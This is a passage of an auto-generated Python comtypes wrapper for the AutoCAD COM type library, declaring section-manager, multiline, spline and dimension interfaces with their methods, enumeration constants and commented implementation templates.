'retval'], POINTER(c_int), 'NumVertices' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'NumberOfFaces',\n ( ['out', 'retval'], POINTER(c_int), 'NumFaces' )),\n COMMETHOD([dispid(80), 'hidden', 'propput'], HRESULT, 'Faces',\n ( ['in'], VARIANT, 'rhs' )),\n]\n################################################################\n## code template for IAcadPolyfaceMesh implementation\n##class IAcadPolyfaceMesh_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Vertices\n## def _set(self, Vertices):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self, Index):\n## '-no docstring-'\n## #return pVal\n## def _set(self, Index, pVal):\n## '-no docstring-'\n## Coordinate = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def NumberOfVertices(self):\n## '-no docstring-'\n## #return NumVertices\n##\n## @property\n## def NumberOfFaces(self):\n## '-no docstring-'\n## #return NumFaces\n##\n## def _set(self, rhs):\n## '-no docstring-'\n## Faces = property(fset = _set, doc = _set.__doc__)\n##\n\nclass IAcadSectionManager(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{8F65FA69-0A46-46AD-824C-E3B8B8341781}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadSection(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{B579897A-9622-4EDA-882F-374D7467481A}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadSectionManager._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadSection)), 'pSection' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'GetLiveSection',\n ( ['out', 'retval'], POINTER(POINTER(IAcadSection)), 'pSection' )),\n COMMETHOD([dispid(3)], HRESULT, 'GetUniqueSectionName',\n ( ['in'], BSTR, 'pBaseName' ),\n ( ['out', 'retval'], POINTER(BSTR), 'ppUniqueName' )),\n]\n################################################################\n## code template for IAcadSectionManager implementation\n##class IAcadSectionManager_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pSection\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pVal\n##\n## def GetLiveSection(self):\n## '-no docstring-'\n## #return pSection\n##\n## def GetUniqueSectionName(self, pBaseName):\n## '-no docstring-'\n## #return ppUniqueName\n##\n\nclass IAcadMLine(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{36797313-D2D7-4B32-A126-2910B0E16E99}')\n _idlflags_ = ['dual', 'oleautomation']\n\n# values for enumeration 'AcMLineJustification'\nacTop = 0\nacZero = 1\nacBottom = 2\nAcMLineJustification = c_int # enum\nIAcadMLine._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'StyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'Vertices' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'Vertices' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Justification',\n ( ['out', 'retval'], POINTER(AcMLineJustification), 'Justification' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Justification',\n ( ['in'], AcMLineJustification, 'Justification' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'MLineScale',\n ( ['out', 'retval'], POINTER(c_double), 'scale' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'MLineScale',\n ( ['in'], c_double, 'scale' )),\n]\n################################################################\n## code template for IAcadMLine implementation\n##class IAcadMLine_Impl(object):\n## @property\n## def StyleName(self):\n## '-no docstring-'\n## #return Name\n##\n## def _get(self):\n## '-no docstring-'\n## #return Vertices\n## def _set(self, Vertices):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Justification\n## def _set(self, Justification):\n## '-no docstring-'\n## Justification = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## MLineScale = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadSpline(CoClass):\n _reg_clsid_ = GUID('{409885E6-F896-4EFD-BCC4-160931325E5C}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadSpline(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{049327DE-03F1-4F09-887E-68AED53A834E}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadObjectEvents(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IUnknown):\n _case_insensitive_ = True\n _iid_ = GUID('{64759B9C-96D8-4BB9-AAF9-B70DA323DCA4}')\n _idlflags_ = ['oleautomation']\nAcadSpline._com_interfaces_ = [IAcadSpline]\nAcadSpline._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass IAcadDimension(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{32DC7EFF-0B32-485B-87AC-143AC554327F}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadDimAngular(IAcadDimension):\n _case_insensitive_ = True\n _iid_ = GUID('{54EB2A86-111D-4BAA-AA31-AF4AE41B243B}')\n _idlflags_ = ['dual', 'oleautomation']\n\n# values for enumeration 'AcDimVerticalJustification'\nacVertCentered = 0\nacAbove = 1\nacOutside = 2\nacJIS = 3\nacUnder = 4\nAcDimVerticalJustification = c_int # enum\n\n# values for enumeration 'AcDimPrecision'\nacDimPrecisionZero = 0\nacDimPrecisionOne = 1\nacDimPrecisionTwo = 2\nacDimPrecisionThree = 3\nacDimPrecisionFour = 4\nacDimPrecisionFive = 5\nacDimPrecisionSix = 6\nacDimPrecisionSeven = 7\nacDimPrecisionEight = 8\nAcDimPrecision = c_int # enum\n\n# values for enumeration 'AcDimTextMovement'\nacDimLineWithText = 0\nacMoveTextAddLeader = 1\nacMoveTextNoLeader = 2\nAcDimTextMovement = c_int # enum\n\n# values for enumeration 'AcDimToleranceMethod'\nacTolNone = 0\nacTolSymmetrical = 1\nacTolDeviation = 2\nacTolLimits = 3\nacTolBasic = 4\nAcDimToleranceMethod = c_int # enum\n\n# values for enumeration 'AcDimToleranceJustify'\nacTolBottom = 0\nacTolMiddle = 1\nacTolTop = 2\nAcDimToleranceJustify = c_int # enum\nIAcadDimension._methods_ = [\n COMMETHOD([dispid(1537), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(1537), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(1538), 'nonbrowsable', 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rotAngle' )),\n COMMETHOD([dispid(1538), 'nonbrowsable', 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'rotAngle' )),\n COMMETHOD([dispid(1539), 'propget'], HRESULT, 'TextPosition',\n ( ['out', 'retval'], POINTER(VARIANT), 'textPos' )),\n COMMETHOD([dispid(1539), 'propput'], HRESULT, 'TextPosition',\n ( ['in'], VARIANT, 'textPos' )),\n COMMETHOD([dispid(1540), 'propget'], HRESULT, 'TextRotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rotAngle' )),\n COMMETHOD([dispid(1540), 'propput'], HRESULT, 'TextRotation',\n ( ['in'], ACAD_ANGLE, 'rotAngle' )),\n COMMETHOD([dispid(1541), 'propget'], HRESULT, 'TextOverride',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrText' )),\n COMMETHOD([dispid(1541), 'propput'], HRESULT, 'TextOverride',\n ( ['in'], BSTR, 'bstrText' )),\n COMMETHOD([dispid(1542), 'propget'], HRESULT, 'StyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(1542), 'propput'], HRESULT, 'StyleName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(1546), 'propget'], HRESULT, 'TextColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'color' )),\n COMMETHOD([dispid(1546), 'propput'], HRESULT, 'TextColor',\n ( ['in'], ACAD_COLOR, 'color' )),\n COMMETHOD([dispid(1548), 'propget'], HRESULT, 'DecimalSeparator',\n ( ['out', 'retval'], POINTER(BSTR), 'character' )),\n COMMETHOD([dispid(1548), 'propput'], HRESULT, 'DecimalSeparator',\n ( ['in'], BSTR, 'character' )),\n COMMETHOD([dispid(1549), 'propget'], HRESULT, 'TextGap',\n ( ['out', 'retval'], POINTER(c_double), 'Offset' )),\n COMMETHOD([dispid(1549), 'propput'], HRESULT, 'TextGap',\n ( ['in'], c_double, 'Offset' )),\n COMMETHOD([dispid(1551), 'propget'], HRESULT, 'TextPrefix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(1551), 'propput'], HRESULT, 'TextPrefix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(1552), 'propget'], HRESULT, 'TextSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'suffix' )),\n COMMETHOD([dispid(1552), 'propput'], HRESULT, 'TextSuffix',\n ( ['in'], BSTR, 'suffix' )),\n COMMETHOD([dispid(1553), 'propget'], HRESULT, 'ScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'factor' )),\n COMMETHOD([dispid(1553), 'propput'], HRESULT, 'ScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'factor' )),\n COMMETHOD([dispid(1554), 'propget'], HRESULT, 'VerticalTextPosition',\n ( ['out', 'retval'], POINTER(AcDimVerticalJustification), 'Type' )),\n COMMETHOD([dispid(1554), 'propput'], HRESULT, 'VerticalTextPosition',\n ( ['in'], AcDimVerticalJustification, 'Type' )),\n COMMETHOD([dispid(1555), 'propget'], HRESULT, 'TolerancePrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'precision' )),\n COMMETHOD([dispid(1555), 'propput'], HRESULT, 'TolerancePrecision',\n ( ['in'], AcDimPrecision, 'precision' )),\n COMMETHOD([dispid(1556), 'propget'], HRESULT, 'ToleranceHeightScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'scale' )),\n COMMETHOD([dispid(1556), 'propput'], HRESULT, 'ToleranceHeightScale',\n ( ['in'], ACAD_NOUNITS, 'scale' )),\n COMMETHOD([dispid(1557), 'propget'], HRESULT, 'ToleranceLowerLimit',\n ( ['out', 'retval'], POINTER(c_double), 'lower' )),\n COMMETHOD([dispid(1557), 'propput'], HRESULT, 'ToleranceLowerLimit',\n ( ['in'], c_double, 'lower' )),\n COMMETHOD([dispid(1558), 'propget'], HRESULT, 'TextMovement',\n ( ['out', 'retval'], POINTER(AcDimTextMovement), 'Move' )),\n COMMETHOD([dispid(1558), 'propput'], HRESULT, 'TextMovement',\n ( ['in'], AcDimTextMovement, 'Move' )),\n COMMETHOD([dispid(1559), 'propget'], HRESULT, 'ToleranceDisplay',\n ( ['out', 'retval'], POINTER(AcDimToleranceMethod), 'method' )),\n COMMETHOD([dispid(1559), 'propput'], HRESULT, 'ToleranceDisplay',\n ( ['in'], AcDimToleranceMethod, 'method' )),\n COMMETHOD([dispid(1560), 'propget'], HRESULT, 'ToleranceJustification',\n ( ['out', 'retval'], POINTER(AcDimToleranceJustify), 'method' )),\n COMMETHOD([dispid(1560), 'propput'], HRESULT, 'ToleranceJustification',\n ( ['in'], AcDimToleranceJustify, 'method' )),\n COMMETHOD([dispid(1561), 'propget'], HRESULT, 'ToleranceUpperLimit',\n ( ['out', 'retval'], POINTER(c_double), 'upper' )),\n COMMETHOD([dispid(1561), 'propput'], HRESULT, 'ToleranceUpperLimit',\n ( ['in'], c_double, 'upper' )),\n COMMETHOD([dispid(1562), 'propget'], HRESULT, 'TextStyle',\n ( ['out', 'retval'], POINTER(BSTR), 'style' )),\n COMMETHOD([dispid(1562), 'propput'], HRESULT, 'TextStyle',\n ( ['in'], BSTR, 'style' )),\n COMMETHOD([dispid(1563), 'propget'], HRESULT, 'TextHeight',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(1563), 'propput'], HRESULT, 'TextHeight',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(1565), 'propget'], HRESULT, 'SuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(1565), 'propput'], HRESULT, 'SuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(1566), 'propget'], HRESULT, 'SuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(1566), 'propput'], HRESULT, 'SuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(1569), 'propget'], HRESULT, 'ToleranceSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(1569), 'propput'], HRESULT, 'ToleranceSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(1570), 'propget'], HRESULT, 'ToleranceSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(1570), 'propput'], HRESULT, 'ToleranceSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(1571), 'propget'], HRESULT, 'TextFill',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(1571), 'propput'], HRESULT, 'TextFill',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(1572), 'propget'], HRESULT, 'TextFillColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'color' )),\n COMMETHOD([dispid(1572), 'propput'], HRESULT, 'TextFillColor',\n ( ['in'], ACAD_COLOR, 'color' )),\n COMMETHOD([dispid(1573), 'propget'], HRESULT, 'DimTxtDirection',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(1573), 'propput'], HRESULT, 'DimTxtDirection',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n]\n################################################################\n## code template for IAcadDimension implementation\n##class IAcadDimension_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rotAngle\n## def _set(self, rotAngle):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return textPos\n## def _set(self, textPos):\n## '-no docstring-'\n## TextPosition = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rotAngle\n## def _set(self, rotAngle):\n## '-no docstring-'\n## TextRotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrText\n## def _set(self, bstrText):\n## '-no docstring-'\n## TextOverride = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## StyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return color\n## def _set(self, color):\n## '-no docstring-'\n## TextColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return character\n## def _set(self, character):\n## '-no docstring-'\n## DecimalSeparator = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Offset\n## def _set(self, Offset):\n## '-no docstring-'\n## TextGap = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## TextPrefix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return suffix\n## def _set(self, suffix):\n## '-no docstring-'\n## TextSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## ScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## VerticalTextPosition = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return precision\n## def _set(self, precision):\n## '-no docstring-'\n## TolerancePrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## ToleranceHeightScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return lower\n## def _set(self, lower):\n## '-no docstring-'\n## ToleranceLowerLimit = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Move\n## def _set(self, Move):\n## '-no docstring-'\n## TextMovement = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return method\n## def _set(self, method):\n## '-no docstring-'\n## ToleranceDisplay = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return method\n## def _set(self, method):\n## '-no docstring-'\n## ToleranceJustification = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return upper\n## def _set(self, upper):\n## '-no docstring-'\n## ToleranceUpperLimit = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return style\n## def _set(self, style):\n## '-no docstring-'\n## TextStyle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## TextHeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## TextFill = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return color\n## def _set(self, color):\n## '-no docstring-'\n## TextFillColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## DimTxtDirection = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcAngleUnits'\nacDegrees = 0\nacDegreeMinuteSeconds = 1\nacGrads = 2\nacRadians = 3\nAcAngleUnits = c_int # enum\n\n# values for enumeration 'AcDimFit'\nacTextAndArrows = 0\nacArrowsOnly = 1\nacTextOnly = 2\nacBestFit = 3\nAcDimFit = c_int # enum\n\n# values for enumeration 'AcDimHorizontalJustification'\nacHorzCentered = 0\nacFirstExtensionLine = 1\nacSecondExtensionLine = 2\nacOverFirstExtension = 3\nacOverSecondExtension = 4\nAcDimHorizontalJustification = c_int # enum\n\n# values for enumeration 'AcDimArrowheadType'\nacArrowDefault = 0\nacArrowClosedBlank = 1\nacArrowClosed = 2\nacArrowDot = 3\nacArrowArchTick = 4\nacArrowOblique = 5\nacArrowOpen = 6\nacArrowOrigin = 7\nacArrowOrigin2 = 8\nacArrowOpen90 = 9\nacArrowOpen30 = 10\nacArrowDotSmall = 11\nacArrowDotBlank = 12\nacArrowSmall = 13\nacArrowBoxBlank = 14\nacArrowBoxFilled = 15\nacArrowDatumBlank = 16\nacArrowDatumFilled = 17\nacArrowIntegral = 18\nacArrowNone = 19\nacArrowUserDefined = 20\nAcDimArrowheadType = c_int # enum\nIAcadDimAngular._methods_ = [\n COMMETHOD([dispid(37), 'nonbrowsable', 'propget'], HRESULT, 'ExtLine1StartPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'xLine1Point' )),\n COMMETHOD([dispid(37), 'nonbrowsable', 'propput'], HRESULT, 'ExtLine1StartPoint',\n ( ['in'], VARIANT, 'xLine1Point' )),\n COMMETHOD([dispid(38), 'nonbrowsable', 'propget'], HRESULT, 'ExtLine1EndPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'xLine1Point' )),\n COMMETHOD([dispid(38), 'nonbrowsable', 'propput'], HRESULT, 'ExtLine1EndPoint',\n ( ['in'], VARIANT, 'xLine1Point' )),\n COMMETHOD([dispid(39), 'nonbrowsable', 'propget'], HRESULT, 'ExtLine2StartPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'xLine2Point' )),\n COMMETHOD([dispid(39), 'nonbrowsable', 'propput'], HRESULT, 'ExtLine2StartPoint',\n ( ['in'], VARIANT, 'xLine2Point' )),\n COMMETHOD([dispid(40), 'nonbrowsable', 'propget'], HRESULT, 'ExtLine2EndPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'xLine2Point' )),\n COMMETHOD([dispid(40), 'nonbrowsable', 'propput'], HRESULT, 'ExtLine2EndPoint',\n ( ['in'], VARIANT, 'xLine2Point' )),\n COMMETHOD([dispid(41), 'propget'], HRESULT, 'AngleFormat',\n ( ['out', 'retval'], POINTER(AcAngleUnits), 'format' )),\n COMMETHOD([dispid(41), 'propput'], HRESULT, 'AngleFormat',\n ( ['in'], AcAngleUnits, 'format' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'DimensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'DimensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'ExtensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'ExtensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'ExtensionLineExtend',\n ( ['out', 'retval'], POINTER(c_double), 'extend' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'ExtensionLineExtend',\n ( ['in'], c_double, 'extend' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'Fit',\n ( ['out', 'retval'], POINTER(AcDimFit), 'fittype' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'Fit',\n ( ['in'], AcDimFit, 'fittype' )),\n COMMETHOD([dispid(20), 'propget'], HRESULT, 'HorizontalTextPosition',\n ( ['out', 'retval'], POINTER(AcDimHorizontalJustification), 'Type' )),\n COMMETHOD([dispid(20), 'propput'], HRESULT, 'HorizontalTextPosition',\n ( ['in'], AcDimHorizontalJustification, 'Type' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'ExtensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'lweight' )),\n COMMETHOD([dispid(23), 'propput'], HRESULT, 'ExtensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'lweight' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'DimLine1Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(25), 'propput'], HRESULT, 'DimLine1Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'DimLine2Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'DimLine2Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(27), 'propget'], HRESULT, 'ExtLine1Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(27), 'propput'], HRESULT, 'ExtLine1Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(28), 'propget'], HRESULT, 'ExtLine2Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(28), 'propput'], HRESULT, 'ExtLine2Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(29), 'propget'], HRESULT, 'DimLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(29), 'propput'], HRESULT, 'DimLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'TextInsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'TextInsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(31), 'propget'], HRESULT, 'TextInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(31), 'propput'], HRESULT, 'TextInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(32), 'propget'], HRESULT, 'ForceLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(32), 'propput'], HRESULT, 'ForceLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(33), 'propget'], HRESULT, 'TextOutsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(33), 'propput'], HRESULT, 'TextOutsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(36), 'propget'], HRESULT, 'TextPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'precision' )),\n COMMETHOD([dispid(36), 'propput'], HRESULT, 'TextPrecision',\n ( ['in'], AcDimPrecision, 'precision' )),\n COMMETHOD([dispid(35), 'propget'], HRESULT, 'ExtensionLineOffset',\n ( ['out', 'retval'], POINTER(c_double), 'Offset' )),\n COMMETHOD([dispid(35), 'propput'], HRESULT, 'ExtensionLineOffset',\n ( ['in'], c_double, 'Offset' )),\n COMMETHOD([dispid(60), 'propget'], HRESULT, 'DimensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'weight' )),\n COMMETHOD([dispid(60), 'propput'], HRESULT, 'DimensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'weight' )),\n COMMETHOD([dispid(61), 'propget'], HRESULT, 'ArrowheadSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(61), 'propput'], HRESULT, 'ArrowheadSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(62), 'propget'], HRESULT, 'Arrowhead1Type',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(62), 'propput'], HRESULT, 'Arrowhead1Type',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(63), 'propget'], HRESULT, 'Arrowhead2Type',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(63), 'propput'], HRESULT, 'Arrowhead2Type',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(64), 'propget'], HRESULT, 'Measurement',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'bVal' )),\n COMMETHOD([dispid(65), 'nonbrowsable', 'propget'], HRESULT, 'Arrowhead1Block',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(65), 'nonbrowsable', 'propput'], HRESULT, 'Arrowhead1Block',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propget'], HRESULT, 'Arrowhead2Block',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propput'], HRESULT, 'Arrowhead2Block',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(80), 'propget'], HRESULT, 'DimensionLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(80), 'propput'], HRESULT, 